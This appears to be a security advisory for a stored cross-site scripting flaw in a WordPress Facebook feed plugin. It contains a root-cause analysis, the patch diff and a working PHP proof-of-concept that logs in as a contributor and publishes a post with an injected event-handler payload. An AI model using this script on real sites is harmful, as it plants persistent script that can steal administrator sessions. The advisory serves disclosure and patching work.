Published : August 15, 2026

CVE-2026-16775: Smash Balloon Social Post Feed <= 4.9.0 Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.9.0
Patched Version 4.10.0
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16775:
This vulnerability affects the Smash Balloon Social Post Feed (Custom Facebook Feed) WordPress plugin, version 4.9.0 and earlier. It is a Stored Cross-Site Scripting (XSS) flaw caused by insufficient sanitization and escaping of user-controlled shortcode attributes. An authenticated attacker with contributor-level access or higher can inject arbitrary scripts into page content, which execute when other users view the affected page.

Root Cause:
The vulnerable code resides in the shortcode processing and template rendering flow. Specifically, in inc/CFF_FB_Settings.php, shortcode attributes are merged into plugin settings using wp_parse_args($shortcode_atts, $legacy_settings_with_updated_defaults). Prior to the patch, there was no whitelist on which attribute keys could be merged, allowing unexpected keys to pass through unchecked. Additionally, in inc/CFF_Shortcode.php, the ‘textlinkcolor’ attribute is directly used after a simple str_replace(‘#’, ”, …) operation, which does not validate that the value is a valid hex color. This value is then echoed into a style=”color: #…” attribute in multiple templates, such as templates/item/post-text.php and templates/item/shared-link.php. The lack of output escaping on this attribute and on the ‘id’ attribute in the hidden input rendered in inc/CFF_Shortcode.php (line 1149) allows injection of malicious HTML and JavaScript.

Exploitation:
An attacker with at least contributor role can craft a post or page containing a shortcode such as [custom-facebook-feed id=”…” textlinkcolor=”red”>alert(1)”]. Because the ‘textlinkcolor’ value is injected directly into a style attribute without proper escaping, the attacker can break out of the attribute and the style context to inject a complete tag. Alternative, the ‘id’ attribute in the pagination input (data-feed-id=”‘ . $atts[‘id’] . ‘”) is not escaped, allowing a similar injection. The malicious code is stored in the post content and executes whenever any user, including administrators, views the affected page. The attack requires only contributor-level permissions, as WordPress allows those users to create posts containing shortcodes.

Patch Analysis:
The patch applies multiple hardening measures. In inc/CFF_FB_Settings.php, the merge now restricts shortcode attributes to known setting keys using array_intersect_key. This prevents arbitrary attribute names from leaking into settings. In inc/CFF_Shortcode.php, the ‘textlinkcolor’ value is validated against a strict hex color regex and falls back to an empty string if invalid. The ‘id’ attribute is wrapped with esc_attr() before being output in the data-feed-id attribute. Similar validation is applied in inc/CFF_Shortcode_Display.php for the ‘linktitlecolor’ and ‘linktitlesize’ attributes, and a tag name allow-list is added for ‘linktitleformat’. Templates now use esc_attr() and esc_html() on multiple outputs. Additionally, the patch adds nonce checks and a transient-based CSRF protection for the oEmbed connection flow, which is unrelated to the XSS but included in the same release. These changes eliminate the injection vectors by ensuring only sanitized, validated data reaches HTML sinks.

Impact:
Successful exploitation leads to Stored Cross-Site Scripting. An attacker can inject arbitrary JavaScript into the page context, enabling actions such as stealing administrator session cookies, performing privileged actions on behalf of an admin (via CSRF or JavaScript), redirecting users to malicious sites, or defacing the page. The stored nature of the payload means the attack persists until the content is removed, and it affects any authenticated or unauthenticated user who visits the compromised page. Given that the required role is contributor, the risk is moderate but the impact on WordPress sites can be severe if an attacker gains administrative privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/custom-facebook-feed/admin/admin-functions.php
+++ b/custom-facebook-feed/admin/admin-functions.php
@@ -587,6 +587,10 @@
 		$admin_url_state = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
 	}

+	// Mirrors CFF_oEmbeds::get_connection_url() — carries the same nonce so
+	// processCffOembedAccessToken() accepts this round-trip too.
+	$admin_url_state = add_query_arg( 'cff_oembed_nonce', wp_create_nonce( 'cff_oembed_connect' ), $admin_url_state );
+
 	return array(
 		'connect' => CFF_OEMBED_CONNECT_URL,
 		'cff_con' => $nonce,
--- a/custom-facebook-feed/admin/views/oembeds/content.php
+++ b/custom-facebook-feed/admin/views/oembeds/content.php
@@ -33,6 +33,7 @@
 						{{genericText.enable}}
 					</button>
 				</span>
+				<span class="cff-oembed-error" v-if="fboEmbedError">{{fboEmbedError}}</span>
 			</div>
 			<div class="cff-oembed-plugin-box cff-oembed-instagram">
 				<span class="oembed-icon" v-html="images.instaIcon"></span>
--- a/custom-facebook-feed/custom-facebook-feed.php
+++ b/custom-facebook-feed/custom-facebook-feed.php
@@ -1,9 +1,9 @@
 <?php
 /*
-Plugin Name: Smash Balloon Custom Facebook Feed
+Plugin Name: Smash Balloon Facebook Feed
 Plugin URI: https://smashballoon.com/custom-facebook-feed
 Description: Add completely customizable Facebook feeds to your WordPress site
-Version: 4.9.0
+Version: 4.10.0
 Author: Smash Balloon
 Author URI: http://smashballoon.com/
 License: GPLv2 or later
@@ -27,7 +27,7 @@
 if (! defined('ABSPATH')) {
 	exit; // Exit if accessed directly
 }
-define( 'CFFVER', '4.9.0' );
+define( 'CFFVER', '4.10.0' );
 if ( ! defined( 'CFF_SMASH_USAGE_TRACKING_API_URL' ) ) {
 	define( 'CFF_SMASH_USAGE_TRACKING_API_URL', 'https://usage.smashballoon.com/api' );
 }
--- a/custom-facebook-feed/inc/Admin/CFF_oEmbeds.php
+++ b/custom-facebook-feed/inc/Admin/CFF_oEmbeds.php
@@ -50,6 +50,7 @@

 		add_action('admin_menu', [$this, 'register_menu']);

+		add_action( 'wp_ajax_cff_oembed_connect_init', array( $this, 'oembed_connect_init' ) );
 		add_action('wp_ajax_disable_facebook_oembed', [$this, 'disable_facebook_oembed']);
 		add_action('wp_ajax_disable_instagram_oembed', [$this, 'disable_instagram_oembed']);
 	}
@@ -77,6 +78,42 @@
 	}

 	/**
+	 * Marks an oEmbed connect as started for the current user.
+	 *
+	 * The external connect service redirects back with cff_access_token on a plain page
+	 * load and does not carry any of our query parameters through, so there is no nonce on
+	 * the inbound request to verify. This one-shot, short-lived, per-user marker stands in
+	 * for the OAuth "state" value: only a real click on Connect (an authenticated,
+	 * nonce-checked, same-origin POST) can set it, so a cross-site GET carrying an
+	 * attacker's token has nothing to consume. processCffOembedAccessToken() deletes it on use.
+	 *
+	 * @since 4.9.1
+	 *
+	 * @return void
+	 */
+	public function oembed_connect_init() {
+		// Same gate as the sibling disable_*_oembed handlers: wp_die()s on either a bad
+		// nonce or an insufficient capability, rather than returning a 200 with an error
+		// payload. The caller treats any non-success response as a failed init.
+		CustomFacebookFeedBuilderCFF_Feed_Builder::check_privilege( 'nonce' );
+
+		set_transient( self::connect_pending_key(), 1, 15 * MINUTE_IN_SECONDS );
+
+		wp_send_json_success();
+	}
+
+	/**
+	 * Transient key holding the "connect started" marker for the current user.
+	 *
+	 * @since 4.9.1
+	 *
+	 * @return string
+	 */
+	private static function connect_pending_key() {
+		return 'cff_oembed_connect_pending_' . get_current_user_id();
+	}
+
+	/**
 	 * Disable Facebook oEmbed
 	 *
 	 * @since 4.0
@@ -191,6 +228,7 @@
 				'instagramOEmbeds' => __('Instagram oEmbeds are currently not being handled by Smash Balloon', 'custom-facebook-feed'),
 				'instagramOEmbedsEnabled' => __('Instagram oEmbeds are turned on', 'custom-facebook-feed'),
 				'enable' => __('Enable', 'custom-facebook-feed'),
+				'connectError'           => __( 'Could not start the connection. Please reload this page and try again.', 'custom-facebook-feed' ),
 				'disable' => __('Disable', 'custom-facebook-feed'),
 				'whatAreOembeds' => __('What are oEmbeds?', 'custom-facebook-feed'),
 				'whatElseOembeds' => __('What else can the Custom Facebook Feed plugin do?', 'custom-facebook-feed'),
@@ -278,6 +316,11 @@
 		if ($admin_url_state === '/wp-admin/admin.php?page=cff-oembeds-manager') {
 			$admin_url_state = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
 		}
+		// Carry a dedicated nonce on the return URL where the connect service preserves the
+		// state query string. processCffOembedAccessToken() verifies this nonce — or the
+		// cff_con nonce POSTed below — before accepting cff_access_token, and falls back to
+		// the one-shot connect marker when the service returns neither.
+		$admin_url_state = add_query_arg( 'cff_oembed_nonce', wp_create_nonce( 'cff_oembed_connect' ), $admin_url_state );
 		return array(
 			'connect' => CFF_OEMBED_CONNECT_URL,
 			'cff_con' => $nonce,
@@ -333,6 +376,27 @@
 	{
 		global $cff_notices;
 		$return = [];
+
+		// Never accept cff_access_token from an unsolicited request. The connect service
+		// returns none of our parameters, so authorise on the one-shot marker that
+		// oembed_connect_init() sets when this user actually clicks Connect. A nonce is
+		// still honoured first for any return URL that does preserve the query string.
+		$oembed_nonce  = isset( $_GET['cff_oembed_nonce'] ) ? sanitize_key( wp_unslash( $_GET['cff_oembed_nonce'] ) ) : '';
+		$connect_nonce = isset( $_GET['cff_con'] ) ? sanitize_key( wp_unslash( $_GET['cff_con'] ) ) : '';
+
+		$has_valid_nonce = wp_verify_nonce( $oembed_nonce, 'cff_oembed_connect' )
+			|| wp_verify_nonce( $connect_nonce, 'cff_con' );
+
+		if ( ! $has_valid_nonce ) {
+			$pending_key = self::connect_pending_key();
+			if ( ! get_transient( $pending_key ) ) {
+				$return['error'] = 'Invalid Nonce';
+				return $return;
+			}
+			// One shot: a replay of the same URL is rejected.
+			delete_transient( $pending_key );
+		}
+
 		$access_token = $_GET['cff_access_token'];

 		$valid_new_access_token = !empty($access_token) && strlen($access_token) > 20 && $saved_access_token_data !== $access_token ?
--- a/custom-facebook-feed/inc/CFF_FB_Settings.php
+++ b/custom-facebook-feed/inc/CFF_FB_Settings.php
@@ -488,6 +488,11 @@

 		$legacy_settings_with_updated_defaults = wp_parse_args($options, CustomFacebookFeedBuilderCFF_Feed_Saver::settings_defaults());

+		// Constrain the merge to recognized setting keys only — arbitrary or
+		// unexpected attribute names must never be merged into the settings that feed
+		// markup-shaping sinks.
+		$shortcode_atts = array_intersect_key( (array) $shortcode_atts, $legacy_settings_with_updated_defaults );
+
 		$legacy_settings = wp_parse_args($shortcode_atts, $legacy_settings_with_updated_defaults);
 		$legacy_settings['id'] = ! empty($legacy_settings['account']) ? $legacy_settings['account'] : $legacy_settings['id'];

--- a/custom-facebook-feed/inc/CFF_Shortcode.php
+++ b/custom-facebook-feed/inc/CFF_Shortcode.php
@@ -441,7 +441,10 @@
 		}

 		// See Less text
-		$cff_posttext_link_color = str_replace('#', '', $this->atts['textlinkcolor']);
+		// Constrain to a hex colour at the source — this value feeds multiple
+		// style="..." attributes below.
+		$cff_posttext_link_color_raw = ltrim( (string) $this->atts['textlinkcolor'], '#' );
+		$cff_posttext_link_color     = preg_match( '/^[0-9a-fA-F]{3,8}$/', $cff_posttext_link_color_raw ) ? $cff_posttext_link_color_raw : '';
 		$cff_title_link = CFF_Utils::check_if_on($this->atts['textlink']);

 		// Description Style
@@ -1146,7 +1149,7 @@
 			$cff_content .= CFF_Utils::print_template_part('credit', get_defined_vars());

 		// End the feed
-			$cff_content .= '<input class="cff-pag-url" type="hidden" data-locatornonce="' . esc_attr(wp_create_nonce('cff-locator-nonce-' . get_the_ID())) . '" data-cff-shortcode="' . $data_att_html . '" data-post-id="' . get_the_ID() . '" data-feed-id="' . $atts['id'] . '">';
+			$cff_content .= '<input class="cff-pag-url" type="hidden" data-locatornonce="' . esc_attr( wp_create_nonce( 'cff-locator-nonce-' . get_the_ID() ) ) . '" data-cff-shortcode="' . $data_att_html . '" data-post-id="' . get_the_ID() . '" data-feed-id="' . esc_attr( $atts['id'] ) . '">';
 			$cff_content .= '</div></div><div class="cff-clear"></div>';

 			// Add the Like Box outside
--- a/custom-facebook-feed/inc/CFF_Shortcode_Display.php
+++ b/custom-facebook-feed/inc/CFF_Shortcode_Display.php
@@ -384,7 +384,10 @@
 	 */
 	public static function get_author_name($news)
 	{
-		return isset($news->from->name) ? str_replace('"', "", $news->from->name) : '';
+		// Entity-encode the Facebook-sourced author display name — it is echoed into
+		// element content with no further escaping at the template sink, so this
+		// getter is the safe boundary.
+		return isset( $news->from->name ) ? str_replace( '"', '', htmlentities( $news->from->name, ENT_QUOTES, 'UTF-8' ) ) : '';
 	}

 	public static function get_author_link_atts($news, $target, $cff_nofollow, $cff_author_styles)
@@ -622,7 +625,7 @@
 			// Add the button to the post if the text isn't "NO_BUTTON"
 			if ($cff_button_type != 'NO_BUTTON') :
 				?>
-				<p class="cff-cta-link" <?php echo $cff_title_styles ?>><a href="<?php echo esc_url($cff_cta_link) ?>" target="_blank" data-app-link="<?php echo $cff_app_link ?>" style="color: #<?php echo $cff_posttext_link_color ?>;" <?php echo $cff_nofollow_referrer ?> ><?php echo $cff_cta_button_text ?></a></p>
+				<p class="cff-cta-link" <?php echo $cff_title_styles; ?>><a href="<?php echo esc_url( $cff_cta_link ); ?>" target="_blank" data-app-link="<?php echo esc_url( $cff_app_link ); ?>" style="color: #<?php echo esc_attr( $cff_posttext_link_color ); ?>;" <?php echo $cff_nofollow_referrer; ?> ><?php echo esc_html( $cff_cta_button_text ); ?></a></p><?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- $cff_title_styles and $cff_nofollow_referrer are internally-built attribute strings (style="..." / rel="..."), not data; escaping them would emit the markup literally. ?>
 				<?php
 			endif;
 		}
@@ -652,12 +655,16 @@

 	public static function get_shared_link_title_format($atts)
 	{
-		return ( empty($atts[ 'linktitleformat' ]) ) ? 'p' : $atts[ 'linktitleformat' ];
+		// Allow-list the tag name; fall back to a safe default.
+		$cff_link_title_tag          = empty( $atts['linktitleformat'] ) ? 'p' : sanitize_key( $atts['linktitleformat'] );
+		$cff_allowed_link_title_tags = array( 'p', 'span', 'div', 'strong', 'em', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'a' );
+		return in_array( $cff_link_title_tag, $cff_allowed_link_title_tags, true ) ? $cff_link_title_tag : 'p';
 	}

 	public static function get_shared_link_title_styles($atts)
 	{
-		return ( !empty($atts[ 'linktitlesize' ]) && $atts[ 'linktitlesize' ] != 'inherit' ) ? 'style="font-size:' . $atts[ 'linktitlesize' ] . 'px;"' : '';
+		// Cast to (int) before concatenating into the style="..." attribute below.
+		return ( ! empty( $atts['linktitlesize'] ) && 'inherit' !== $atts['linktitlesize'] ) ? 'style="font-size:' . (int) $atts['linktitlesize'] . 'px;"' : '';
 	}


--- a/custom-facebook-feed/templates/item/post-text.php
+++ b/custom-facebook-feed/templates/item/post-text.php
@@ -36,7 +36,7 @@
 			</a>
 		<?php endif;  ?>
 	</span>
-	<span class="cff-expand">... <a href="#" style="color: #<?php echo $cff_posttext_link_color; ?>"><span class="cff-more"><?php echo esc_html($atts[ 'seemoretext' ]); ?></span><span class="cff-less"><?php echo esc_html($atts[ 'seelesstext' ]);  ?></span></a></span>
+	<span class="cff-expand">... <a href="#" style="color: #<?php echo esc_attr( $cff_posttext_link_color ); ?>"><span class="cff-more"><?php echo esc_html( $atts['seemoretext'] ); ?></span><span class="cff-less"><?php echo esc_html( $atts['seelesstext'] ); ?></span></a></span>

 </<?php echo $cff_title_format ?>>

--- a/custom-facebook-feed/templates/item/shared-link.php
+++ b/custom-facebook-feed/templates/item/shared-link.php
@@ -21,7 +21,10 @@
 $cff_link_caption 			= CFF_Shortcode_Display::get_shared_link_caption($news);
 $cff_link_title_format 		= CFF_Shortcode_Display::get_shared_link_title_format($atts);
 $cff_link_title_styles 		= CFF_Shortcode_Display::get_shared_link_title_styles($atts);
-$cff_link_title_color 		= str_replace('#', '', $atts[ 'linktitlecolor' ]);
+// Constrain to a hex colour at the source (mirrors the textlinkcolor guard in
+// CFF_Shortcode.php) — this value feeds a style="..." attribute below.
+$cff_link_title_color_raw = ltrim( (string) $atts['linktitlecolor'], '#' );
+$cff_link_title_color     = preg_match( '/^[0-9a-fA-F]{3,8}$/', $cff_link_title_color_raw ) ? $cff_link_title_color_raw : '';


 if ($cff_post_type == 'link' || $cff_soundcloud || $cff_is_video_embed) :
@@ -31,7 +34,7 @@
 	<div class="cff-text-link cff-no-image">
 		<?php if (isset($news->name)) : ?>
 			<<?php echo $cff_link_title_format ?> class="cff-link-title" <?php echo $cff_link_title_styles; ?>>
-				<a href="<?php echo esc_url($link) ?>" <?php echo $target . ' ' . $cff_nofollow_referrer; ?> style="color:#<?php echo $cff_link_title_color; ?>;"><?php echo $news->name; ?></a>
+				<a href="<?php echo esc_url( $link ); ?>" <?php echo $target . ' ' . $cff_nofollow_referrer; ?> style="color:#<?php echo esc_attr( $cff_link_title_color ); ?>;"><?php echo esc_html( $news->name ); ?></a><?php // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- $target and $cff_nofollow_referrer are internally-built literal attribute strings (target="..." / rel="..."), not data. ?>
 			</<?php echo $cff_link_title_format ?>>
 		<?php endif; ?>

--- a/custom-facebook-feed/vendor/composer/installed.php
+++ b/custom-facebook-feed/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace FacebookFeedVendor;

-return array('root' => array('name' => 'smashballoon/custom-facebook-feed-pro', 'pretty_version' => 'v4.9.0', 'version' => '4.9.0.0', 'reference' => '2e8248f162c218378d12772e9846db2ded0c0196', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('dev_requirement' => false, 'replaced' => array(0 => '6.4.0')), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/custom-facebook-feed-pro' => array('pretty_version' => 'v4.9.0', 'version' => '4.9.0.0', 'reference' => '2e8248f162c218378d12772e9846db2ded0c0196', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/framework' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '3c53a9a74cc5bbdb4df2cfec13007f4793404e0f', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/framework', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false)));
+return array('root' => array('name' => 'smashballoon/custom-facebook-feed-pro', 'pretty_version' => 'v4.10.0', 'version' => '4.10.0.0', 'reference' => 'e2a8bba261f0837274681207b3864b3fecde7d05', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('dev_requirement' => false, 'replaced' => array(0 => '6.4.0')), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/custom-facebook-feed-pro' => array('pretty_version' => 'v4.10.0', 'version' => '4.10.0.0', 'reference' => 'e2a8bba261f0837274681207b3864b3fecde7d05', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'smashballoon/framework' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '3c53a9a74cc5bbdb4df2cfec13007f4793404e0f', 'type' => 'library', 'install_path' => __DIR__ . '/../smashballoon/framework', 'aliases' => array(0 => '9999999-dev'), 'dev_requirement' => false)));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16775 - Stored Cross-Site Scripting via 'id' Shortcode Attribute

// Configure these
$target_url = 'https://example.com';
$username = 'contributor_user';
$password = 'password';

// Step 1: Login to get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Get the nonce for post creation
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 3: Create a post with malicious shortcode
$payload = '" onmouseover="alert(1) x="';
$shortcode = '[custom-facebook-feed id="' . $payload . '"]';
$post_data = [
    'post_title' => 'Test XSS',
    'content' => $shortcode,
    'post_status' => 'publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    'action' => 'editpost'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 4: The post is published. When viewed, the injected attribute will execute.
echo "PoC complete. Check the published post for XSS.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.